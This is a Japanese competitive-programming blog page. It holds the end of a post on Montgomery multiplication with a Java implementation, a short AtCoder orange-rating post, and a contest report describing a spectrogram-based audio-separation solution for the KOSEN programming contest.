\begin{align} \mathrm{low}(x + \mathrm{low}(\mathrm{low}(x \cdot N') \cdot N)) &= \mathrm{low}(x + x \cdot N' \cdot N) \\ &= \mathrm{low}(x + (R-1) \cdot x) \\ &= 0 \end{align}
となることから、 x + \mathrm{low}(x \cdot N') \cdot N は R の倍数です。これと
0 \leq \mathrm{low}(x), \mathrm{low}(\mathrm{low}(x \cdot N') \cdot N) \lt R を考えると、

\mathrm{high}(\mathrm{low}(x) + \mathrm{low}(\mathrm{low}(x \cdot N') \cdot N)) は、 \mathrm{low}(x) が 0 のときは 0、そうでないときは 1 となります。
ここまでから、 \mathrm{mul\_mr}(x, y) = \mathrm{high}(x \cdot y) + \mathrm{high}(\mathrm{low}(x \cdot y \cdot N') \cdot N) + (\mathrm{low}(x \cdot y) \neq 0) と計算できます。

コード

この実装では n < 2^{62} まで対応していますが、がんばると n < 2^{63} までなら対応できると思います。

judge.yosupo.jp

class Montgomery {
    private final long n, r2, nInv;

    public Montgomery(long n) {
        long r2 = (1L << 62) % n;
        for (int i = 0; i < 66; i++) {
            r2 <<= 1;
            if (r2 >= n) {
                r2 -= n;
            }
        }
        long nInv = n;
        for (int i = 0; i < 5; ++i) {
            nInv *= 2 - n * nInv;
        }
        this.n = n;
        this.r2 = r2;
        this.nInv = nInv;
    }

    private static long high(long x, long y) {
        long xh = x >>> 32;
        long yh = y >>> 32;
        long xl = x & 0xFFFFFFFFL;
        long yl = y & 0xFFFFFFFFL;
        return xh * yh + (xh * yl >>> 32) + (xl * yh >>> 32) + ((((xh * yl & 0xFFFFFFFFL) + (xl * yh & 0xFFFFFFFFL)) + (xl * yl >>> 32)) >>> 32);
    }

    private long mulMr(long x, long y) {
        return high(x, y) + high(-nInv * x * y, n) + (x * y == 0 ? 0 : 1);
    }

    public long mod(long x) {
        return x < n ? x : x - n;
    }

    public long mul(long x, long y) {
        return mod(mulMr(mulMr(x, r2), y));
    }

    public long pow(long x, long y) {
        long z = mulMr(x, r2);
        long r = 1;
        while (y > 0) {
            if ((y & 1) == 1) {
                r = mulMr(r, z);
            }
            z = mulMr(z, z);
            y >>= 1;
        }
        return mod(r);
    }
}

*1:https://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%B3%E3%82%B4%E3%83%A1%E3%83%AA%E4%B9%97%E7%AE%97

*2:https://rsk0315.hatenablog.com/entry/2022/11/27/060616

【色変記事】AtCoder橙になりました

2023/8/14のAGC064で入橙したので色変記事です。

黄色になるまでにやったこと

三年前なので覚えてません…

橙色になるまでにやったこと

1500問くらい解いてました

赤色になるまでにやること

赤、遠いなあ…

いろいろ





第33回高専プロコン競技部門準優勝参加記

初ブログです。

とりあえず解法だけ書きます。エキシビジョン以外の問題はすべて理論値*1が出せました。
コードはここに置いています ↓
github.com
あんまりTexとかを書きなれてないのでシグマの添字とか細かいところを適当に書いてます。適宜雰囲気で感じ取ってください。

基本方針

問題データと読みデータをメルスペクトログラムに変換するとこうなります。


読みデータの面影がありますね。これを使ってなんかうまいことできそうです。
また、読みデータが重なっている位置と範囲がわかれば逆波形を重ねることによって重ね合わせ数の一つ少ない問題に帰着できます (この発想は大阪公大を含むいくつかのチームと同じです) 。
この「読みデータが重なっている位置と範囲」の推定を繰り返すことによって、すべての読みデータを特定することを目指します。

詳細

ステップ1

読みデータを一つ固定して、問題データのスペクトログラムの (i,j) 成分を R_{i,j} 、読みデータのスペクトログラムの (i,j) 成分を S_{i,j} とします。
ここでおもむろに、問題データのスペクトログラムの r 列目と読みデータのスペクトログラムの s 列目に関する評価値を、
f(r,s)=\log \left( \sum_i \left( \frac{S_{i,s}}{R_{i,r}+1} \right)^2 \right)
g(r,s)=f(r,s)-\sum_i f(i,s)-\sum_i f(r,i)+\sum_{i,j} f(i,j)
と定義します。
これらを各 r,s に対して求めてプロットすると次のようになります。*2


明らかに斜めに線が入ってますね。これが正しい読みデータの重ね合わせ位置です。
問題データのスペクトログラムは、大まかに各読みデータのスペクトログラムの重なっている部分の和くらいの値になります。
正しい重ね合わせ位置だと問題データのスペクトログラムの値が読みデータより小さくなることはないので、 r=s+i ( i がスペクトログラム上での読みデータの"位置"になります) の直線上では評価値が小さくなり、それ以外の部分では (たまたま完全に重なることはそんなに多くないため) 比較的大きな値になります。
g は f にある縦横の縞模様を弱めて誤判定を減らすためにつけてます。少なくとも長い問題データでは効果がありましたが、本番のような0.5秒のデータではむしろ逆効果だったかもしれません。
各 i で r=s+i 上の g(r,s) の値の平均をとることで、その位置に読みデータがどの程度含まれていそうかがわかります。

なんかイメージ ↓


ステップ2

その1で評価値が小さかった位置 i (と読みデータの番号の組) から順に処理します。
スペクトログラムに変換ときに横幅がおよそ \frac{1}{1024 } 倍されるため*3、スペクトログラム上での位置が分かっても逆位相を重ねる位置はわかりません。
1024i の周囲適当な範囲を全探索して、逆位相を重ねたときの波形の絶対値の和が最小になる位置を求めます。ステップ1で候補を絞っているので愚直に O(NM) ( N,M はそれぞれ問題データ、読みデータの長さ) かけても計算時間は問題ありません。
このとき、 i が間違っていて周囲に正しい重ね合わせ位置が存在しない場合もあるため、これを適当な閾値で弾きます。
この閾値を最後まで調整していたんですが、結局納得のいく感じにはなりませんでした。
(今考えたら、わざわざ一個ずつ正しいか判定せずに、すべての候補のうち一番良いものを選ぶ、みたいな方法 (大阪公大がやっていたもの) であれば閾値を考える必要がなかったです。)
(もともとこのパートでもスペクトログラムを使ってたんですが、波形の値を直接使っても同じようなことができることにパンフレットを見て気づき、競技一日目の夜に書き換えました。)

ステップ3

読みデータはトリミングされることがあるため、逆位相を重ねる範囲を計算する必要があります。
問題文を誤解していたようで、範囲を計算する必要はありませんでした。このパートいりません…

ステップ4

逆位相を足して、次の候補でステップ2を再度始めます。ステップ2で一定回数失敗すると停止して、再度ステップ1からやり直します。

その他

  • もともと機械学習でがんばるつもりだったのでPythonで書いていたんですが、最終的にPythonを使って得した部分は"スペクトログラムの計算をライブラリに任せられる"という点くらいでした。結局途中で言語を変えるのはめんどくさくて (他のチームメンバーが書ける言語も考慮して) Pythonのままいきました。
  • 並列化しました。面倒な割に大した高速化にはなりませんでしたが*4、2倍くらいの高速化にはなりました。
  • 今年は去年よりGUIを凝りました。残り時間とか使用済み読みデータとかハイパーパラメータを表示させるなど。

  • SA+LCPで一音しか重なっていない部分を線形時間で検出するソルバを書きました。0.1秒くらいしか重なってなくてメインのソルバだと検出できない、みたいなのを想定していたんですが、そんな問題は出なかったので用なしでした。
  • 一部の読みデータが重なっていない分割データが多く存在することを考慮して、次の分割データを取得したときにボーナス係数の減少と新しく見つかる読みデータ数を比べてどの程度スコアが増える可能性があるか？みたいなのを計算する機能を作りました。一つ目の分割データにすべての読みデータが重なっていたので用なしでした。
  • 複数取得した分割データが隣り合っている場合/隣り合っていない場合の場合分けや処理の最適化をかなり書きました。用なしでした。
  • すでに見つかった読みデータを一度戻して再度見つけなおす、みたいな処理をして間違った推定を防ぐソルバを書きました。用ありでした。

*1:一回戦で2つ分割データが必要だった問題があったんですが、1日目の夜に改善した結果理論値が出せました

*2:どっちの軸がどっちなのかはよく覚えてません

*3:1024はハイパーパラメータで可変です

*4:Numpyがそもそもうまくやってくれているのもあって？